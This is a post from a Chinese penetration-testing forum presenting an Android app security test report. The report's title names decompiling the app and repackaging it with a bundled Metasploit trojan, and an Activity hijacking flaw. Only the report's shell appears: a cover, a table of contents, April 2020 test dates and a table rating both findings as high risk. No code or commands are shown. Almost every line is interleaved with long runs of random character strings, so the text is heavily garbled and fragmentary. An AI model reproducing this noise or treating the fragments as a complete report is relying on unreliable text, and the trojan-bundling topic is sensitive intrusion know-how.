中国网络渗透测试联盟

标题: 原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞 [打印本页]

作者: admin    时间: 2022-6-8 20:32
标题: 原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞
! j( z7 i9 z( L* j/ m0 Z: R 8 ?& v6 n+ r7 r) O4 h

8 F4 C! r0 `" H& L+ Q' X! V7 j. {+ W9 L$ Q
6 k9 R$ t/ X' P; \$ n9 U % `% T! J2 U* _$ j$ d

- d, T+ g- o: }, U7 o6 Z3 F1 p0 J
e# p) a* p E Z$ H ( V( H0 }) Y/ x5 [6 z* k4 M

& k* e6 t5 @( z7 B 8 Q5 \$ E: ~6 j9 @+ ^ 文档编号:                7 ?/ y7 X: Q0 z: U m( y/ i# F* Z0 T 9 ?8 }( p0 c8 g: h

; K* F r8 J. _+ P & K! q; h( F& }& t9 D4 c, z1 D4 i

1 l, w6 ]& u9 g8 }+ E4 q7 W ! G0 Y, @$ d# |3 v   2 y7 A5 p: z( x% _6 X; _% Z 2 T4 c) X' J+ ~4 U

0 D( ]2 I# B% `" y a2 h 2 x5 ?' R& W9 U& s

5 S) [- e1 q _- M- f 9 O4 N E* A: Y/ P, P8 ^* s; E   $ Q% p/ W; A2 \# J 5 t6 l3 F4 ^! ]# }' x4 y1 G% ]

1 @9 h" ~# J' p9 ~5 n . H. @8 d+ }& F* S

+ ~9 @6 S' F, d5 A: ^$ s3 E2 @1 r8 ?& C( f   5 O4 U' t0 Y m# e & L" y a0 u3 w9 p; \9 C# J) k

6 T9 |, |7 S- ~, h6 P7 m( q6 n8 X8 G# v5 y! F

3 ^/ I- x, z7 g7 s: ] / C. T2 T: v# j* I' @: G( w! U; e   & b7 F/ t8 {2 J( m3 P. B 1 q7 Y: k# Z7 u! ?) r P! E2 S

: q7 w/ O7 l, Y( V' k3 `4 s 3 l8 A! S# E1 G1 J

( j' D: }/ ~6 q5 e 6 K, y, e" H5 k8 g# i5 O   ; o9 X6 Q# g/ i; T/ E) } # }" C* W0 v9 o3 |# B4 @8 U

$ H5 ]% ]' z, ]$ b1 ?/ y / y o& k# C9 @" O) s

+ `- n c. S- E9 J+ @ * }! y/ E( \% E9 H 某某某APP渗透测试 4 {8 f' d ]4 s! l+ d7 o h0 G. {4 R5 g) O' r% N' r

1 O% C! I$ Q) d' [1 E ' `+ c' e. O6 X) C

* A9 k6 s- ?8 k) V6 }! O2 L0 m# y: z k5 _# }9 w. C   3 F' B& S# U2 J ; F. O9 }8 _1 h. y

P. T) I& `# u A 3 B/ i0 @. j) l5 |

0 _! p$ [. A# \' a ' Q, N7 C. U% Y: ~   / I, @- C7 K1 Q( q& b+ \ 3 j& p6 J8 k% k: }3 M$ i$ R8 G

. d. e1 _6 Z1 C0 |5 j9 a& o) Y! b& f# _) y9 w. M. a

/ x Z0 j1 h3 d! D! M9 @' W( u- a * q9 x4 V2 }* U* E. Q   ' {, V; e: u' a4 h& y! x$ ]) Z 5 c# }2 h7 X& J2 z1 H3 l0 K1 I

! U+ w& e; l( V0 r- ?6 p( X 7 y$ [! x8 u e$ _

% Z% W0 Q2 c/ R u8 A5 t0 a9 d+ L# r& ]   ) f% }+ J+ C' C* @& k- r: y3 j9 ?+ r; ^9 g3 R0 y, a9 E" ~

) y" H6 |2 U# a8 t- s L- z( o + L }# g& L0 `2 B2 Y4 f0 `5 ~

9 g+ f+ h: L! }8 j \ \( t* g5 h. c }0 V% { 技 术 报 告 & z* g5 G6 s1 y$ k5 d; `/ J1 a % V7 b" [/ M v& O* [: }/ P

% R8 W8 m3 N7 {5 a8 c6 e + _! C8 f) N; X

) C# L% M1 ^. q/ d7 v$ B . e) f7 Q4 y) w8 B0 i   % v# x5 y; N2 [) y# Q. i( a8 _3 Z5 x2 G( V9 p

2 E* ~. Z7 C7 d4 F + V- ]7 R$ p" E' K0 J& f' c a# i8 U

; l- Z& N8 y" a3 f0 z ! ?1 Z' {+ E1 i- o- r* c) d   ' ~. E& n* V: X+ `0 K- M, b; s6 {. z0 j& H: u3 c3 g% [# v

- l- ~0 f+ s6 I4 }' h / t- w" t5 l) O) k# N( ]

1 R, Q( ?/ T1 | , T2 ^4 S( l# i1 J/ z0 a   % }& k9 M8 K0 G 4 A2 J: k" V2 n

0 {& H$ P' S& h# M : n: u Z L% p" W M& C+ _' {3 m4 r

4 P0 B* g# w: [1 w5 N1 {! w% [ 7 v% \ g$ T$ _" x/ A' j, G9 c! W   . B7 R' o3 i* m% Y8 x* J, }0 g; Q& E6 K

4 j: @4 v4 V" Z2 w 9 A. b' C* ^. }) X( F' ~- O6 _

3 @& V3 d& x, h- q/ z 3 r; J6 |' z! l& F6 p: @& ?   7 t4 r3 Y9 c$ z$ ?+ g6 e9 U+ A2 x( l5 @$ f* w1 ^+ `9 X$ O

7 V5 s9 n m8 y4 M% Y% n8 m/ Z7 G. m7 l0 N1 ~# y# G, t+ H

. ~1 v! l; E' R2 h ~' x8 H: b1 y- v0 ?6 Z5 C   7 _; s& X8 q5 l, [ , Z$ s4 b k# l @; W

/ c. P: j; ~+ Q" w1 H$ x1 K2 e9 c+ ~8 s; c8 ^8 p! p

" m/ A% [+ Z7 O- Z8 ` * Z2 \$ B2 G# y2 K9 p/ Z& J& Q   2 E" F, b" X A) t$ k( Q( N / W! X5 b6 I6 s" T) k4 j$ ?3 Q# v

9 B% u5 P3 c& Q- R" P- U, G 5 R! _' D/ O+ Q g' _ u8 y

: T8 `) Y L( B# p$ P% \+ B2 b; J ; I# R; L6 G# H. T8 x( x! A; }   & I3 a$ I* E4 Q7 q" H6 N - G/ c. E O* K( t0 K

, u6 J, g0 A5 R2 r' }+ W0 N5 O& a5 n5 j! Q# k

) C% a: \+ \$ S8 w5 x! J X $ V0 e5 L, i4 D& i+ E   + J0 X) |/ U& \ 5 ?% z" G4 ~) L' ?# z0 x) b

1 r; t) Y2 f6 A- r0 F8 b& O 1 L) l6 h) z/ I( P% ]8 L' Z5 y

7 s7 d& n4 B$ e4 A3 }$ m( O2 L4 d/ V/ A   & g% F$ N' Z( Z& f1 p; e ' ]9 Y$ a8 N& ]- V* o q7 b$ X6 J! F

) k3 A& `, X% ~/ p, v( y+ l0 P p Y% R M. N5 H7 S* y

+ Q% E3 v4 R& u5 @3 o7 a . f" X' B* u: N$ `0 O   q2 g, S& J; x# A2 y2 u( O 0 Y. ^4 y) Y6 g+ V1 d7 L, W

# C! B g o* U$ _0 ^ # I! c% u/ o" u' G5 e! V1 H" Y7 I

( P6 t( `" x6 Z; S$ e: L3 ?* w 4 H# ]+ M) G, e9 |! Q" t4 o$ |   ' u% ]0 X) t4 h9 X $ D, s* M/ l4 @- g

8 f: t* C9 e" j: n- q4 g8 { : M3 l5 }0 `' v4 o6 p

' Y* @ j5 i* A; O7 T + B4 i' w5 v: I4 c8 Z8 u   0 n7 o: j) ?+ c1 f! s, C7 Z ' y; @; q, N8 r! S

" b" @% N9 c' G* ]; k* o+ @# d( i% r- I: p' }' k

K/ r. T+ [( @: h1 `9 W# d& F, X2 n" `$ y% p' W& C& c$ \   \% d' y2 J+ W8 X$ K7 l ! q: Y( u: ]" P1 F$ d) e

6 {" n, x2 i1 k( M( j 5 A b) e' M8 y3 i% e3 D

# E: q0 ~" _0 E: m1 g7 M ) w& T9 @. P0 w2 h* i- _3 ^   8 `6 ~4 r- Z4 ]) S0 \ # L/ J Z+ B; l

; z @; _8 j& `" S/ w 6 I/ ~, Q/ r6 \

( p1 S9 Z. Z6 V" h2 N9 z: v- l+ B& ]) M! S5 A; f" F- N% | ]. o3 Y   # W/ q+ S0 a" C2 A( B) M* s: s+ k6 h- y& P+ N; ^% m; b* ]

8 I- |5 ]) a1 Q# u3 H9 v0 c* S5 D9 P! G- {0 j

- Y8 l A- [; B; c [2 k2 i% L ; w$ H: S N1 o   " X6 Z( f8 r4 w- d ]9 {1 h, o7 s+ W7 b' q* C4 ?

) b' {7 u, j0 E* l- s% J' u$ I$ y% @9 x6 `/ |

0 v0 p/ X' A, U$ P. @ 1 A0 }' T; d+ g L3 n" |- ~   8 y6 W+ @% m. Q% ?" G% ] + d0 Y; y& S7 R8 U- N# G

& d/ V* o0 o- }& j2 H y ; f& T' ^/ {7 T- b7 B, z4 g

( G" }7 j& w) T1 R ; k$ p) F, A6 Q" c. g& w 二〇二〇年 2 _% D+ c+ M1 }+ ? 0 L# o0 Q* j$ H5 Z

7 y: O/ Q/ e( Z, N! C - t3 A5 j5 N# g, L @8 l
+ r/ k/ W; i! F" P F: D( ?7 Z ) f1 \( h4 R1 w1 H8 R# g
* {3 G3 F2 h( c4 T/ ], F : m% d7 S, l9 n3 J( U% z
" C- B9 x3 p& @4 p% G6 E; ~( z3 b; m( H( W& N2 e8 I3 w
& c: M' i1 I4 }4 D ' Y/ Q& P3 ?, \- |6 j2 }# l7 U& }
, g6 Y1 }; J h. B, D! }. d- ~ 3 w- l9 {6 M5 V
1 Q4 t2 {, _' r g ! A% L8 J3 u+ ^0 V1 p! {
4 n2 W2 s$ u$ x" Q ! w- \! L4 V3 ]4 x/ W) C
" {3 y+ g, w2 m: A" V' \; \" r f: H9 w/ ]" v+ L. _+ k

$ t+ g9 Y( }5 E- H4 m& R0 f- C ) X$ @7 r- [, Z; v# Q- J 目 录 ) J2 a& c3 H) n 9 S# ]$ x. T4 ^2 G6 G7 ?. x

/ A: y! ]5 ]" T+ n1 q v9 J6 B. D5 R6 @. I. \( L 0 m5 f l, b& A) H6 q j, p ' m; L& ^. z5 V9 Z! X# r+ k

Z* h- }6 ?( v# r$ _/ A: r) }6 X ! a5 s: W9 O+ b) M* d6 s   / L' Q* `, u7 ^1 F; Q8 r. F" E* N+ I/ h% r

) X) K9 ~5 y! L5 f4 t: l ?9 z# B

8 i$ V5 ^; q2 m% ?) U & e9 T# J+ Q# ^* K0 @ 1 概述... 3 $ R+ n9 P8 W' s 9 D! ?; F: R0 _* H

9 k+ z2 F! U- a' o9 ?% C; n7 A + Y @+ Q7 E( o$ ^3 _

" } h$ e3 R: O) X % i" m" p: A# u2 R) j; |( U9 w 1.2测试时间... 3 & [, R, q! p2 | & ?. T$ X8 C: g9 _

: k: {4 }; p; v! C- M 3 X* m4 a' Q' m2 F3 J1 z" k

! Y9 ^. r& h& |% k' o, b3 D* z 9 p4 l0 C# f5 Y 1.3测试对象... 3 6 e }) B, m; |+ V5 q3 T ; y9 _. A7 \3 l1 L" l

& {8 p1 T: a; Q. o g* y; X- |7 M ~% I( m! }4 L/ A+ ^

( l0 E) m- s. [1 @# L- K( f ) r) V( y+ H* t, p 1.4测试结果... 3 0 Q3 R* G* ?- N' U, {7 a 6 S' f5 M* q+ `; Q+ f

, z9 \7 C- i4 x# R' o B# F% w- }5 N9 B; J9 v) U$ }9 \

4 G; D+ A" \2 ` 7 L( P& ?3 s! U7 Y" G; \6 d; X7 w2 d 2 检测结果... 4 1 R( _" x0 u; a' _# \5 J; s7 R! }6 c

1 \. H. k! R* d5 L % U) Z( y5 s1 v- t3 `2 A

3 M( |/ N* t4 O7 B3 M- Z% j |) T, z3 d0 \/ X: t5 v 2.1 某某某... 4 * Q/ ^8 D/ {+ T- u- R ' n4 k0 F) \9 ~# @8 U* E6 q$ z

( X6 c- @3 P; {9 R 6 k$ {6 ~6 E- d

. i) [" t! C6 c . `; n) F1 I; y* Q' U+ M 2.1.1检测目标... 4 6 o3 z* ~6 A% L; z# x ) I2 Z* Y4 F) {

& A' m5 I' V3 r( k - M8 D0 f& h9 H4 v. S

* {. f' F% W* D1 V* o ( z. ]% G0 M4 ^$ g6 J 2.1.2检测结果... 4 3 ]5 Y4 t: Q- o. ~ - o) x7 q" `$ H0 A) O" z

" a' s$ [+ X( D0 m% z7 M3 d3 M7 x0 S3 r8 m! Q E, T

" {8 p4 |; i% N8 U, E4 ]# o, U) S 2.1.2.1. 4 2 h! f8 O+ C: X* m# m' G' h' P / p+ A) J4 p# N/ z

, W0 B1 f. {# V: p1 L, W 2 p: h9 G. z; u. r5 v

4 n/ X$ o5 H, i- c" S. B4 H 3 `9 u! ~7 \2 Q0 @ @ 2.1.2.2. 6 + k. e F: V$ w' x 1 p* A/ f$ ]. \. G

1 w }) V+ K. j% O4 F % Y' D; Z0 F# C6 C7 z5 q

% S* E+ R! i" Z1 K) w% u: Q 2 T, V/ U* H# m8 h* Y 2 Y2 |6 i5 x" L# W/ | # y5 v9 ?2 ]' I9 m/ R, W

0 v. j* ?/ V7 e( Z6 [4 _0 ^: E s) O. [: K1 C! |
' m) O1 X2 A0 v# x7 `7 i8 ]. \4 [7 Y7 q. V9 z; B& c
" V1 S& |1 `0 E - y% v1 D/ e( C8 g
% P7 \% K8 |5 n+ e* t2 Z ! R. [# Y# F6 X
: C, {6 d. g8 i+ E: e. j% F$ J- H9 C# e2 _; G

) y9 b3 A k' e7 i# v9 }( z, l" V/ H# m! j) i( V j0 O 1 概述 ! {6 l7 e: h) _: e" I * q' K$ K9 d* d9 u' [! V+ v2 _. C

* U( L ^- r& v& g# h' n( P * R* T0 _5 C4 {( y f# [! `9 j

6 s$ ?8 V* U) h0 j, d. X$ B* i% k* i. l - y& M/ S+ N/ L/ q- O 1.2测试时间 1 t# _7 o2 l# G- Z+ r6 b 5 X7 v! f8 p- Z* J# _7 v

3 @1 {" {2 a D- ^ 6 i' Y8 ^4 T, @" {& F6 H8 s% E 9 O4 J, |: ^9 o0 R- R# Q$ E0 o, ]( r" j0 j/ C+ t. ^2 n) f7 M/ o7 H# i( s: n4 e- {! a1 \4 ]5 P& N" h# [3 s: P8 t; x( I0 t9 \7 `2 z9 b f5 S0 H0 E% w1 o% P. F) y/ P! q* {, E3 S* i! i' ^4 _; ]& _! O, U+ O) \! D' {% m( W) n% I: v, f( S. X+ g e) ~2 v/ g( X, [* Y! `0 G" i& [7 V4 _5 \# i6 Z/ b& j0 X- s( C. m0 w, j" ?: F! B$ |! k4 P3 A; }! _% P9 ^! h+ Z/ j: ?8 u: V7 F0 s; i" W% K- ]# \5 ?. X2 ]1 M% u7 [$ D2 p N4 `& V8 d( n) F$ P" C8 v6 A' C7 Q9 i2 x5 [6 u! U" i3 L( f/ T3 H+ m# J# k5 y N5 u' u$ B: W% J/ E+ e& m* F0 }9 ]. R0 b+ J) Y3 x7 T# x1 A3 O0 O6 P9 }/ N( D/ V$ ?" F- q5 J V2 o) J" m" ~* E' q" f9 F1 X/ x6 P% i' q# V3 T5 H8 r. h1 W5 g
4 N: H5 j, \7 H) Q* z3 R 4 C$ w$ ?; _- p& S' g, B

- s! p$ ]3 m/ O& @6 `( ` ! a' o ?5 Y1 f4 x 渗透测试时间 " Y; X: |! m! t7 D% ~1 c* A4 y4 z/ O" P" e# ~! Q6 i5 U" E9 Y. a

3 T4 X2 M |4 g% X. r; x 1 M l# W/ s2 t) b- f) i& i6 E% I
* S2 d5 d) N- k# o4 c) X " W z$ |: Y2 |

3 k" [0 x( g0 E8 T i2 u2 W b# O: p+ a9 [! X K 起始时间 , ]' T0 @2 H' S$ R( r% X* W* y) q3 h l: y# W+ V1 ?, q" ~2 G5 ~

0 ]' C, R# b- @- ~% y5 F5 X, ^+ P/ j* Q# @; q8 l. r s6 ^) s
% \' }1 E8 Q$ \/ Q0 Z $ }9 [. D1 e9 p4 V6 w

# m$ x9 c: w! D+ k7 [1 N ; `( h* y) [) q& M! ^8 O9 B 2020年4月6日 . S3 _5 T5 k! x3 ?8 _ : O* s8 z0 f8 Y e

# j' S! R1 N" e; y$ @* y1 u ^% b; t3 [3 \/ d- r3 V+ P
& X8 R) A1 H0 Q) \) Y) I S9 b7 _- L% I& ]# |- e2 K

: G1 m9 K' a/ H* H0 ^ ; Y! s$ Z# t9 ?0 o 结束时间 / e; ]3 N; S; ?% h' E% V7 V ) Z( e! \, u! r- i" l" O

; G9 f. g" n1 z( F; q3 n1 c5 p. }* w : H0 A" ^! z; H. v
" m" x2 u+ K; B O . Z" e, d$ h l5 q! t2 P6 X. L

4 T% S$ `) G g1 \8 ?1 E , Z- _" M" E( T 2020年4月9日 0 n9 f* Q0 w5 C9 ^3 ~* w6 D4 y ]! e- L- x2 ]) C0 K( |

, x4 Y1 d$ N$ U! F7 j" G * L& `. \) J3 V) b* [+ l; ]/ c/ G4 `
- D9 l7 C; b8 S4 ^* e3 p0 S" W. T) x l1 K) I

: B1 V: T) S& J( z1 [5 c ' q U* B9 x q9 N0 T2 c 1.3测试对象 # k3 X3 d) e# r4 @" O - b w( x4 f* y$ R$ w% A

% {3 B8 D" d0 n& o+ r2 q7 y 6 a$ [5 }) U- s# d

0 o. P3 B1 t; v5 Z& t v6 P1 O2 m. Z; E' h0 J" r; O 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: , L/ g2 z- X4 w, b, N- t. \" h- M- K% E

( K1 ^4 ^ D& @3 t) ?" y 7 P# S8 k+ c r# m- {

( v" }8 z: P8 v - Y1 h7 C. I- d 表1-1 检测对象 4 Q6 d, ~' B4 }: F9 R2 V5 d# s' Z 8 S" a) E; u4 E

9 D. x' H1 @+ F2 Q, M$ ~! u/ L + R* Y$ W* W& o2 ~+ u3 w( C d4 c 5 g( q5 V. J: Z6 U0 c) L$ @/ w+ _8 ~( m/ _6 n* O' H( e N- E- o7 J+ V3 S9 _8 c! l* [/ ?9 s' M! v2 L- |. P3 ~( }( _; o" P+ w+ s+ Q" ~: l- t0 \4 a0 m8 X: N9 L. F, {3 `8 G3 L5 t, R4 b0 W& b; H! J# `# g- k! N' \9 L4 m/ h3 Q3 [% Z7 `, c0 z. @8 g4 Y6 ?3 c P- e( U5 X- J+ H) ?" L, l( {/ n% Q2 A$ B3 P4 h h' e* m( m [6 v6 [1 { e5 q2 g. r/ M+ L4 I# S/ }0 k9 J# Y) d0 U0 ?( }. e3 j% [' I1 S- i3 n/ ` q* K& t0 { k. f) A' G9 T4 W3 r, k" k" ~5 C) n# h h! x( l" ?, w7 T9 B$ c, J- D$ b: m5 @. t! W. y* H3 l6 J8 `% ~/ p3 |6 r b6 I3 F6 g% }, e1 Z0 E- D0 A# w0 V! d. c: z# u6 R% z( L- ]) q0 q6 `+ ]! J5 Q" l2 ^9 C* m% f% w2 v D1 p: }: K& [ c8 ?5 v; o! u. j: q: ]: h& P2 g( ?, B( X% U4 E' t2 u
1 B, ~- Z2 H' e6 M( J7 j' l3 L+ A& S- a+ d2 B; C4 a s( k

8 C' G( l! `) L+ }! Y. W$ S1 ` - K7 N2 i# c4 b3 K/ l! k K) c/ K" K 序号 4 x; M3 ?2 y* `7 [5 } 9 N0 W' T& q" `1 I9 S6 D

# t7 ^9 y% |; `0 _ * _ O& o1 Z7 ]; }1 ]# @8 I
% s$ }7 V. i: Q+ G5 { 3 s8 l3 e! D# {% ~

+ z" q4 c9 l$ Q _* q ! W* h2 i2 q5 y, U" Q y4 M6 @! R% z' S6 ] 测试对象 , }" o; u( w& A% v$ T3 L1 W / \: @: h# x- v

% o) J% r" f2 w1 w) V8 B/ h f' U5 E
# `& R! y- M l' w2 T8 E6 m . \. }/ r, n" X* r/ t: \/ o

" Y7 A5 b( x v/ @5 D* G5 a$ D - b9 y$ i1 d2 G 测试地址 g; r M. z7 q$ G7 V7 M ; h3 L9 V* e2 e5 d1 O

% u% ^0 r5 [0 S0 m0 Y# r3 ?3 T0 P4 A+ D- C, j
/ W0 Z7 F, w3 X- W& u( n- j. | : I5 @: Z" d/ X$ G, k/ R5 [

6 s1 h% ~/ ~6 {# v* Z8 u % q* i: ]% [* O2 A/ h( j: @ 安全漏洞 1 J! V$ o+ n0 k: D2 b! W; Q! T$ s ; h. z) l- X0 U2 H, A1 o9 O

! \6 g; Q8 b0 I/ Z' v) t b) N- v7 A0 q3 t
# M M @. Z' k2 i6 u0 \6 x3 x7 t

" Z" ~, D! w- Z( W8 f- F3 l) I6 F7 ~- W3 a! _; ^- L% ? 1 " Y8 h2 q9 A$ K* E& \+ j, V- U$ A0 e" M, j+ ~! k

5 x6 d8 s+ K2 U: j" C- |$ Y 3 Z z [- \# @8 e8 b, a4 `
" y/ ?, O: X' y2 j: {) V! b& m0 ~9 c 8 O6 x0 F/ [/ E" W7 i& h

- O) S- B, m% g* Z ( T' O. C4 }2 w `' I 某某某安卓APP 2 g, j! D/ \2 d, e# A8 [. X4 _' f' G

0 C' A& A$ F4 _. |" `% T' B$ I4 i; f# ?- f9 v2 }1 i2 @
9 y0 @& [/ l3 e! Z$ e- _ 8 v% o& K7 ]' ^) V( K* Q

! e" h V8 N: ]; c, e; e7 m+ q }: O+ K/ ~( f6 V   7 n: J: _2 D1 h i5 \5 [+ x/ X3 _) T- Y; |8 W5 @' W1 b; g% \

6 r% N: z: c" B. e ' l5 z) N) i' N! H' D& D; J: W( K
( c9 l" \. I8 M; [ I8 o' E, | . g& B3 ^% M& l) l

8 a, c" W1 o1 i 5 C. J4 u% j/ ^. [; l8 n" k( q% m8 d 2 / Y- p- {# T' {. f9 ?& `" F) |8 A* \ $ G& _3 |6 M9 K" t$ D

" v# x( o9 p" a- R) q8 J2 Y + w( G' n* h( M& S
5 Z- E2 l$ n% F5 ?1 `6 y* N+ y# A1 k7 l0 b9 r

, W- ?0 Y2 p, T * S5 n& a& J: f: o" y 1.4测试结果 2 w+ Y6 c b) v$ W ]! @8 U/ ]' Y' D& X8 a; o1 e

3 e3 m: R1 }+ I/ I 8 A \' D9 ]" u; R

! p+ R" f) W4 ]# o: p; `% W 6 g; C5 ]4 Z n% _5 S8 h3 I; Z& F 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: 1 g+ a3 I$ |+ h ( s( ^, h4 z6 |. B# h+ g5 u

+ S9 D& I$ Z! G6 Q, b8 H ( s0 M, ` v# c5 S: l

& u. C6 \& j P6 h0 ~/ Q0 ] 3 J9 C8 u; y$ h. @( M; V9 N; m   . c) H# ?1 H) A; p1 e$ | 1 j) e& v5 ^6 }

, {3 C; C# I# J" h0 R ?% d9 d 4 _( M1 J4 {1 ?9 J9 g8 P
9 n5 B4 t9 x6 }- } 6 U0 u, L4 k. @7 S3 ~: o$ L ' Q s4 S6 z+ K5 H; |" }. B1 I9 I8 y5 [4 e; E9 \% f4 m5 X, r0 u4 n+ N0 [" a9 M) n# Q; G' Y. X" |& ~- W' _& R) }( y4 P) T" b3 |+ Y3 f" j) J4 m, K( g3 L! f. x' P/ O; k2 m( c( N& e. M. G- q) v/ {( z9 l5 h0 @2 E( ]) `4 | ?* d+ x: `, `" q9 Y) E2 G9 C9 F0 x1 M, w3 F/ A+ u, N; m1 F0 @" O6 a8 D) m: \+ Y' e, r% k7 m( I& A! l( N- O4 d0 b+ R* }3 |0 ^/ ?& W+ f) k) x3 Q8 b- E0 D5 {+ ~5 D1 `2 A( J `2 d, P* o1 w! ?( g$ w; j/ j6 N2 {6 s8 _ m' u. H4 H7 r/ \& L. p. O5 y8 _$ X3 q4 e7 d0 [1 l+ k6 G0 j: }. c( M" i6 q5 Y# z/ h" [ ~- J3 |7 B2 B9 c+ T G) A3 j$ s: P6 D: L& T7 L/ Q7 P2 ], u. l# Z& K' d* h& I$ \4 w% A, T) W ]6 L; O3 T+ w- V) h; |2 N: y2 W' X) _% j* _* K. T7 f; {; a7 ^& j9 E5 m+ \+ b* H2 K. h. k. v0 B# V: |$ b8 S' F8 H8 E d. }, c6 L: L. [, q8 H. d8 k" w5 V. B3 ~ b. k a; G- E8 P) m" X" `3 L; |* B; X G2 b! f* l% b4 E5 r/ l9 ? Z, J" e- b. p1 V* Y- P; l c' q% P. k( l5 y1 Q7 Y3 O/ `/ p- Y# l1 t3 D4 m5 V4 \9 |: C( d4 i9 r. L( Y- D& r' ^$ y) r! Z3 F9 T4 o! Y. u/ m7 [0 i" f6 x: G/ }5 f* v# l8 X$ g5 E) X% F2 |( |' ~. |: D2 r0 Y5 X& W$ n% K" `" u* s$ a$ B+ g; W7 u5 O( ?2 n. P4 |5 \9 |" t: {$ S. r( {. K P% ^3 W: z7 w i5 \' C: W, ]( f0 h3 `+ e ~
- x" j" h4 S8 B. }6 P - h3 X& K+ t4 q5 K& n' k

% A8 V4 Z7 X" t& i! I" Q+ o5 C ( {( ?% ~9 e2 K: _% V1 y 序号 5 J& `' W) _; _. J7 M3 Y 9 D- v9 ~2 Y g4 P7 c7 s! ]9 z: u

4 @; Z$ X" R! w8 ^ - z" ^( ]3 a+ B
9 S3 k6 ?2 e+ C2 R. x+ f, C$ r# t4 d. }7 C5 y7 N

4 \3 r% z$ G& ]: R8 Q2 k0 c 2 ^; z' q2 q2 q B/ V# x6 M 系统名称 8 S& j# F* |. I6 Q' t6 d. e. D5 }- b$ z3 K

9 q+ ?0 I3 a) R1 Q6 g 0 _* T4 R; Y& _' y
1 P. i& B5 j* q# _5 W) b8 X, `# y1 X/ s- ~/ E) e& V8 n

3 n" v& W" C( q% r3 l" V" T r- c- p8 Q# S" g5 N 漏洞名称 5 t/ \/ p( N) Z4 W+ @7 [& q 0 }+ b6 Y( ~1 O

% `% M9 U5 E0 H; C - C6 ~' f$ ^6 ^5 {' h. d
0 v& L% o) X1 E/ I( @, ~) ] }- B( v; F3 C8 @( D) p6 t

& N6 F8 ?. O: G) e) \$ d2 i: o ; _) T2 b# N( v# c0 y2 o j; E 漏洞危害 % `+ f% b1 W/ V 9 w; X' r/ w( h" L

+ A+ D4 v) k1 X ' R2 e$ R2 P) l9 ?, g; a) K+ j
, H( \' @1 ~5 u- e ' U* {. ?) n, g. S) n0 e

' R. ]) R; p0 q$ a ) F l9 e8 f: g9 p( \: |( ^ 修复结果 8 ?2 p: x5 N4 D" ?' _ * d5 }+ e. W; d, ~

9 H9 G' w! D# f 0 n* a9 t2 A* `# y3 S- Z
2 b# Z- G" X6 a- ? 7 G/ Q6 R' b4 O% Q& b( W

3 B$ F" B! r$ \! ^: d+ I! \+ i + K1 r6 o' z, w% Y6 K0 h 1 2 O) r3 ?& j9 ~5 N4 w o$ d6 ]! e- i4 J3 q$ Z

. q5 b1 A3 D, j7 p P# S 1 D2 G6 E$ v: |0 \7 L, [
; y+ q9 B- N5 o- B ! k+ U! G; ] k" D

, \( C: \: ^- e% _9 m) t7 C; a 3 A7 \3 C4 e& o W- w 某某某某某某APP ! A: h7 K9 j7 n. U) o, {) d1 Y( J: D- F% K$ _

& w/ v- ~! D1 g# Z* C' k1 p8 K6 }' V
5 o- @ ?% N, g& z U$ K- U6 f e$ h

- F5 t+ E& Q7 \4 Y5 g: ] # y- _" I( D" y0 L" T Activity 劫持 ) e3 _% k1 Z& t/ V V; J. p1 `$ q4 b: E4 W

( _# K/ i+ m; P9 y) ~3 n4 _! z3 @+ j% v4 G

" A' d2 E% F' D( f : g6 {, S2 d5 h* h5 C. v   2 V, }9 a4 J, ~ 0 O5 m, p7 x5 l) F% `. C- L+ _

; j& p e" Q9 L7 p& Q- Q ' o! D/ _ C! i# m4 n# h
( H8 Y) t. x# o S4 `+ h % q& I: B# l7 G$ I7 T, _4 e! Q) }0 A

# P6 \& r8 H" U5 A9 r: V' {- d+ l0 }+ s 高 $ n7 E1 A I' H( T2 F# S ; S& w& y( |4 a& {0 ^1 d

2 [) [; k' y* \$ K: s* b ; J C+ ]+ j* x5 K, T3 w6 H
8 |6 s J! f% X8 c8 G- Q" W) c. y: |) S6 G

8 y# [. L8 Q+ N" j3 E4 G0 k" ` ! T1 k% v9 E9 z$ [- |   7 r% E) E3 i& h & f; Y5 G) n/ n. U7 _* X+ ?* q' b1 i

U. ^$ U# E Q% |. ~$ r; P: s! Y y z j* g) X- h
& R( h5 D K q ' s# \: ~6 `. E2 V& g( x1 f

6 J; l- I; l) E/ K) p 4 N' V! `! }1 G) K* W# }% l+ W H: k 2 ( N( `& H. O8 H 7 `9 H' c4 c- {5 [+ E: Q

$ K% F8 h1 i/ M6 J1 c( z9 p . t* U: P& ]! M: l8 t, _1 ~% `- e6 ]
+ F2 c% w3 W. W' ] ) K: s# ?1 d# S+ d9 D0 {: w

: V4 T: W; H. }2 K5 u8 Z( y# v 1 b+ J- F7 W B+ H( H. x" k 某某某某某某APP 1 k* P! P3 l5 `7 t$ @3 l) t" y# E) Q# I* I' l

. q/ ~" S7 H) Q; Q) @" y& }& S7 O* Q
" D" q% @2 G s; o4 M. r" P5 I . C- c& k. v Q

% C$ s% O* K$ q 7 j* q: i9 B( e ?( o3 L+ o; Z! } 反编译二次打包捆绑木马、篡改APP代码 , Y9 X% J m9 y0 v- N7 L, t( O- C& C. X# B6 c+ |2 j; q2 b- M

& G2 j) T- m6 y- q7 T8 L/ b& H' p% M8 e1 f3 _! u
* z7 r: k0 ?7 H2 @2 E7 ?) z # A# c+ u6 J6 L: x

+ ?, m2 B+ d6 \/ L1 w: e . I. e5 i8 k! n3 G 高 9 b& b9 D' X" F; I2 Q L 6 |/ [2 W. u" k# _! [9 r8 V8 @. y

0 }$ b) s% R+ v8 X% D$ `) ?+ J, c9 U4 p. z9 _
* c" O: _. Z0 _# p( f; c( z : `1 s) o! t3 A% J5 ~4 W/ p; |

+ |" x; _8 v2 g! T2 | G% w4 v/ m* k& U   0 Q' h h4 Q7 H8 d% C 0 {4 ~6 O X- z' h% a

1 a7 x1 v7 K. z3 N: Y 8 c/ y. [5 m# R! R4 P- c
- |5 }/ K& }3 i. t+ t; x) s* ~# X5 @8 v. `) w: k% Z; c# _: L$ r. c
7 v m* I/ \. Q) k. Y. V 2 I( f" X+ h5 N T. n

, T' j* v4 Q. x* C1 E& w0 h / ]) j! Y- f* P T3 p1 Q8 z   2 b8 h& T1 @$ O 4 q; U4 |. r a# K7 H; f; S

3 }9 h1 w4 y; o4 J) {+ y6 c ) `) j" f! b5 h5 p& e

